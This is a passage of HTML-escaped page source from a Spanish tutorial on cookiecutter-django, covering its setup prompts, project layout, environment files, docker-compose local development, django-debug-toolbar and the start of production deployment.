ci_tool:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Travis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - Gitlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Github&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cookiecutter-django también nos permite elegir una herramienta de integración continua (CI) o dejarla en blanco. Las opciones son Travis, Gitlab, Github o ninguna.&lt;/p&gt;&#xA;&lt;h3 id=&#34;variables-de-entorno-en-control-de-versiones&#34;&gt;Variables de entorno en control de versiones&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keep_local_envs_in_vcs &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nos pregunta si queremos manejar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;las variables de entorno local&lt;/a&gt;&#xA; dentro del sistema de control de versiones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;debug-para-desarrollo-de-django-cookiecutter&#34;&gt;Debug, para desarrollo de django-cookiecutter&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;debug &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por último está debug, que es solo relevante si estás contribuyendo al desarrollo de cookiecutter-django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;estructura-del-proyecto-de-django-en-cookiecutter&#34;&gt;Estructura del proyecto de Django en cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;Una vez que hayamos contestado todas las preguntas, la estructura del proyecto resultante para este ejemplo será la siguiente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── compose&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── &lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── config&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── api_router.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── CONTRIBUTORS.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── docs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── conf.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── make.bat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── Makefile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── _source&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── LICENSE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── locale&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── local.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── manage.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── merge_production_dotenvs_in_dotenv.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── production.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── proyecto_de_django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── conftest.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── contrib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── static&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── utils&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── pytest.ini&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── requirements&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── base.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── local.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── production.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── setup.cfg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;los-dockerfiles-de-django-en-cookiecutter&#34;&gt;Los Dockerfiles de Django en cookiecutter&lt;/h3&gt;&#xA;&lt;p&gt;La carpeta compose contiene los Dockerfiles tanto de desarrollo (local) como de producción (production). La versión de desarrollo tiene un único Dockerfile, mientras que la de producción contiene uno para Django, otro para Postgres y otro para Traefik&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── &lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── docs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── traefik&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sobre-traefik&#34;&gt;Sobre Traefik&lt;/h3&gt;&#xA;&lt;p&gt;Traefik es un balanceador de carga y un servidor proxy inverso (justo como Nginx)m escrito principalmente en el lenguaje de programación go. Con la configuración que incluye Cookiecutter, Traefik se encargará de manejar el tráfico y además de gestionar los certificados SSL para nuestro sitio web de manera automática, por lo que puedes olvidarte de la configuración de un servidor web y dejar las personalizaciones para después.&lt;/p&gt;&#xA;&lt;h3 id=&#34;archivos-de-configuracion&#34;&gt;Archivos de configuración&lt;/h3&gt;&#xA;&lt;p&gt;Config contiene el archivo urls.py de nuestro proyecto y los archivos de configuración del proyecto de Django, tenemos archivos separados para producción y desarrollo, así como un archivo base con la configuración en común.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── api_router.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── base.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── local.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── production.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── test.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;traducciones&#34;&gt;Traducciones&lt;/h3&gt;&#xA;&lt;p&gt;Locale se llenará con los archivos de traducciones de nuestro proyecto de Django si ejecutamos el comando &lt;em&gt;python manage.py makemessages&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;nuestro-proyecto&#34;&gt;Nuestro proyecto&lt;/h3&gt;&#xA;&lt;p&gt;La carpeta con el nombre que indicamos para nuestro proyecto tendrá los archivos estáticos, aplicaciones y plantillas sobre las que trabajaremos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── conftest.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── contrib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── static&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── utils&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;requirements-en-python&#34;&gt;Requirements en Python&lt;/h3&gt;&#xA;&lt;p&gt;Requirements incluye los archivos con las dependencias de nuestro proyecto. Así mismo están separados de acuerdo a su función, en base, local o producción.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── base.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── local.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── production.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;variables-de-entorno&#34;&gt;Variables de entorno&lt;/h3&gt;&#xA;&lt;p&gt;También existe una carpeta secreta con el nombre de &lt;em&gt;.envs&lt;/em&gt;, la cual contiene &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;las variables de entorno&lt;/a&gt;&#xA; que se usarán en los archivos de configuración, tanto de producción como de desarrollo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .local&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── .postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── .production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── .postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es necesario cambiar el archivo .envs/.production/.django para agregarle nuestra configuración de Mailgun, y modificar nuestra dirección de admin si así lo queremos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_SECRET_KEY&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;aqui_va_tu_secret_key&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_ADMIN_URL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;tu_propia_url/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_ALLOWED_HOSTS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;.midominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_SERVER_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;MAILGUN_API_KEY&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;MAILGUN_DOMAIN&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;desarrollo-con-docker-compose&#34;&gt;Desarrollo con docker compose&lt;/h2&gt;&#xA;&lt;p&gt;Para empezar a desarrollar basta con levantar nuestro archivo de docker-compose local.yml.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió bien tendremos un servidor corriendo en nuestro puerto 8000&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/DjangoCookiecutterLocal.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/DjangoCookiecutterLocal.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aplicación por defecto de cookiecutter-django en servidor local&#34; width=&#34;822&#34; height=&#34;331&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Recuerda correr las migraciones y crear un super usuario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml run --rm django python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez hecho esto quizás querrás empezar a modificar la carpeta de tu proyecto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;activar-django-debug-toolbar-en-cookiecutter-django&#34;&gt;Activar django-debug-toolbar en cookiecutter django&lt;/h3&gt;&#xA;&lt;p&gt;Para activar la django-debug-toolbar vamos a entrar primero a nuestra aplicación entrando a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost&lt;/a&gt;&#xA;, ahora en nuestra terminal veremos una dirección IP&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/IpInternaDockerDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/IpInternaDockerDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ip interna en consola&#34; width=&#34;984&#34; height=&#34;58&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esta dirección la colocaremos en la variable INTERNAL_IPS de nuestro archivo de configuración &lt;em&gt;local.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# config/settings/local.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# https://django-debug-toolbar.readthedocs.io/en/latest/installation.html#internal-ips&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INTERNAL_IPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10.0.2.2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;172.26.0.1&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, ahora ya tenemos una django-debug-toolbar activa&lt;/p&gt;&#xA;&lt;h3 id=&#34;revisar-procesos-y-logs-en-los-servicios&#34;&gt;Revisar procesos y logs en los servicios&lt;/h3&gt;&#xA;&lt;p&gt;Recuerda que, como en cualquier contenedor de docker, podemos acceder a sus logs con &lt;em&gt;docker logs.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker top servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De la misma manera sus procesos están disponibles con el comando &lt;em&gt;docker top&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker top servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;llena-los-valores-de-configuraciones&#34;&gt;Llena los valores de configuraciones&lt;/h3&gt;&#xA;&lt;p&gt;Recuerda que para este ejemplo no utilizamos celery, ni flower, ni mailhog, ni aws, para mantener la configuración simple. Sin embargo, si eliges usarlos al momento de crear tu proyecto, cada servicio tendría sus propias ip para acceder; localhost:5555, para flower; localhost:8025, para mailhog.&lt;/p&gt;&#xA;&lt;p&gt;Además, cada servicio que hayas elegido tendrá variables de entorno o de configuración (que no incluyo en este ejemplo) que será necesario especificar para que funcionen adecuadamente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;deploy-de-django-en-produccion-con-docker-compose-y-cookiecutter&#34;&gt;Deploy de Django en producción con docker compose y cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;Para hacer un deploy lo más complicado de entender es la estructura del proyecto, la cual ya expliqué arriba, una vez que hayamos comprendido la función de cada carpeta el deploy es bastante sencillo.&lt;/p&gt;&#xA;&lt;p&gt;Para empezar a correr nuestros servicios en modo de producción basta con ejecutar el comando docker-compose, especificando nuestro archivo con la opción &lt;em&gt;-f&lt;/em&gt; y el comando, en este &lt;em&gt;build&lt;/em&gt;, para compilar la imágen.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 